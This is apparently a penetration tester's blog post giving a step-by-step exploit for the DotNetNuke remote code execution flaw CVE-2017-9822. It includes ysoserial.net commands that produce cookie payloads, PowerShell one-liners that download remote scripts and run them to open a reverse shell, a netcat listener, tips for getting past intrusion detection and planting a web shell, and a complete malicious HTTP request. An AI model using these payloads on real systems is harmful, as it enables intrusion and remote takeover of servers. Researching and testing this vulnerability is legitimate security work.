On 13 March 2018 The Black Hat 2017 talk Friday the 13th: JSON Attacks was uploaded, in which @pwntester showed off Proof of Concept code for CVE-2017-9822, a Remote Code Execution vulnerability that affects DotNetNuke (DNN) versions 5.0.0 up to 9.1.0. However at the time the only form the code was shared in was in the video and PDF of the slides.

In October 2018 I started doing some research into DotNetNuke vulnerabilities for an engagement and came across this talk. At the time I couldn’t find the demonstrated PoC code anywhere besides the talk itself, so I decided to pause the video, transcribe the XML payload character-for-character, and share it on twitter.

But I didn’t stop there! I still needed to get RCE working outside of the FileSystemUtils class, and only had this exploit that had been seen in the wild in a campaign dubbed “Zealot”.

The exploit

After some trial and error, and a nudge from pwntester, I was able to create a reliable exploit by generating a payload with ysoserial.net using the ObjectStateFormatter as part of the TypeConfuseDelegate gadget and dropping the base64 output into the wrapper used by the Zealot campaign.

.\ysoserial.exe -f ObjectStateFormatter -g TypeConfuseDelegate -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe curl http://justtesting.local/rcetest" -o base64

At this point I had a way to generate a functional exploit and continued on my engagement. However shortly afterwards pwntester created a plugin for ysoserial.net and had me give it a test.

ysoserial.net DNN plugin

Now that the plugin is functional, we can generate payloads directly from ysoserial.net without the need to combine two different pieces as I did before.

.\ysoserial.exe -p DotNetNuke -M run_command -C  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe curl http://spookyhacker.glitchwitch.io/reverseshell.ps1 -O C:\Users\Public\totallylegit.ps1; C:\Users\Public\totallylegit.ps1"

We can replace the command after the -C flag with whatever suites your needs. If you are unable to spawn a reverse shell due to an IDS or can’t get a web shell due to not knowing the DNN install directory, you can work around this by running ls C: > C:\Users\Public\dir.log and then later read that file using a different payload to discover the install directory so a web shell can be uploaded.

In the example above we use curl to download and later execute a powershell file.


In this example we will generate a payload that downloads and executes samratashok’s Invoke-PowerShellTcp to start a reverse shell.

First we start listening on our attack machine with netcat on port 1337.

nc -lvnp 1337

Then we generate the payload using ysoserial.net, taking care to replace the IP address used with your attack machine.

.\ysoserial.exe -p DotNetNuke -M run_command -C  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress -Port 1337"

Then we visit a 404 page on our test site to generate the needed cookie.

Next we drop the entire ysoserial.net payload into the DNNPersonalization= portion of the cookie, taking care to add a semi-colon at the end.

The resulting request will ultimately look like this.

Host: www.vulnerable.host
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/69.0.3497.81 Chrome/69.0.3497.81 Safari/537.36
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: dnn_IsMobile=False;DNNPersonalization=<profile><item key="foo" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version =, Culture = neutral, PublicKeyToken = b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfObjectStateFormatterObjectDataProvider xmlns:xsd=" [http://www.w3.org/2001/XMLSchema](http://www.w3.org/2001/XMLSchema) " xmlns:xsi=" [http://www.w3.org/2001/XMLSchema-instance](http://www.w3.org/2001/XMLSchema-instance) "><ExpandedElement/><ProjectedProperty0><MethodName>Deserialize</MethodName><MethodParameters><anyType xsi:type="xsd:string">/wEyxBEAAQAAAP////SSBmb3Jnb3QgdG8gc2F2ZSB0aGUgcGF5bG9hZCB3aGVuIEkgd3JvdGUgdGhpcyBibG9nIHBvc3QgYW5kIHdhcyB0b28gYnVzeSB0byBzcGluIHVwIGEgbmV3IHdpbmRvd3MvZG5uIHZt=</anyType></MethodParameters><ObjectInstance xsi:type="ObjectStateFormatter"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>;language=en-US; .ASPXANONYMOUS=AdJ_92Sn1AEkAAAAODU5YjVjZWMtOWMwYS00ZmE1LThkODgtNWI2OTA0NjZjZjcz0; DotNetNukeAnonymous=b8bcc886-3286-4c26-8a9a-b6d3a73c6376; __RequestVerificationToken=JXPAgO5sl6NtPas-NgSv6SDSQgqLV8eAIlRa0ihpoSVyw_MSzjHXsgJhmQSV-mfU7IZOqjDfBz-fhJ81upD024MEoJ2UKG_QjTSYW_tVkAzOad9tOaWjzfm2c1o1
Connection: close